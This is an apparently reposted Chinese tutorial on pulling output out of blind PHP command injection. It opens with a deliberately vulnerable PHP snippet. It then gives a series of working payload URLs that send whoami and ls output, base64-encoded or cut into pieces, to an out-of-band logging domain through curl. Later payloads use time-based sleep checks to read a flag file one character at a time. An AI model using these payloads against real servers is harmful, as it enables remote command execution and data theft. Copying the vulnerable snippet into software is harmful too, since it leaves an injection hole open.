命令执行没回显


存在命令执行,但是不会直接回显,所以需要特殊的指令把结果带出来。

<?php
$cmd = $_GET[`cmd`];
`$cmd`;

1.ceye.io

需要注册个账号,然后会给你分配个域名

访问:
http://106.13.124.93/test.php?cmd=curl http://snrkgl.ceye.io/`whoami`

执行的结果
http://snrkgl.ceye.io/www-data(用户名www-data)

Snipaste_2019-12-27_15-01-03.png


其他情况:

# ls -sl

Snipaste_2019-12-27_15-19-51.png


执行:
http://106.13.124.93/test.php?cmd=curl http://snrkgl.ceye.io/`ls -al`
结果:
http://snrkgl.ceye.io/total



看起来只能带出第一行,所以我们需要sed命令
http://106.13.124.93/test.php?cmd=curl http://snrkgl.ceye.io/`ls -al | sed -n '2p'`
结果:
http://snrkgl.ceye.io/drwxr-xr-x

发现空格不能被带出来,用base64编码
http://106.13.124.93/test.php?cmd=curl http://snrkgl.ceye.io/`ls -al | sed -n '2p'|base64`
结果:
http://snrkgl.ceye.io/ZHJ3eHIteHIteCAyIHJvb3Qgcm9vdCA0MDk2IERlYyAyNyAxNDo1OSAuCg==
解码:drwxr-xr-x 2 root root 4096 Dec 27 14:59 . 

若有的时候长度太大,cut来分割字符(第一个字符下标为1)
http://106.13.124.93/test.php?cmd=curl http://snrkgl.ceye.io/`ls -al |cut -c 3-10`

2.反弹shell,不多bb

3.sleep

#请注意空格,测试环境ubuntu server 16.04
http://106.13.124.93/test.php?cmd=?cmd=if [ 1 == 1 ];then sleep 2;fi
http://106.13.124.93/test.php?cmd=?cmd=if [ 1 == 2 ];then sleep 2;fi

#请注意空格
http://106.13.124.93/test.php?cmd=if [ $( whoami | cut -c 1) = 'w' ];then sleep 2;fi
http://106.13.124.93/test.php?cmd=if [ $( whoami | cut -c 1) = 'r' ];then sleep 2;fi

#注意空格
http://106.13.124.93/test.php?cmd=if [ $( cat flag | cut -c 1) = '1' ];then sleep 2;fi
http://106.13.124.93/test.php?cmd=if [ $( cat flag | cut -c 1) = '2' ];then sleep 2;fi


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM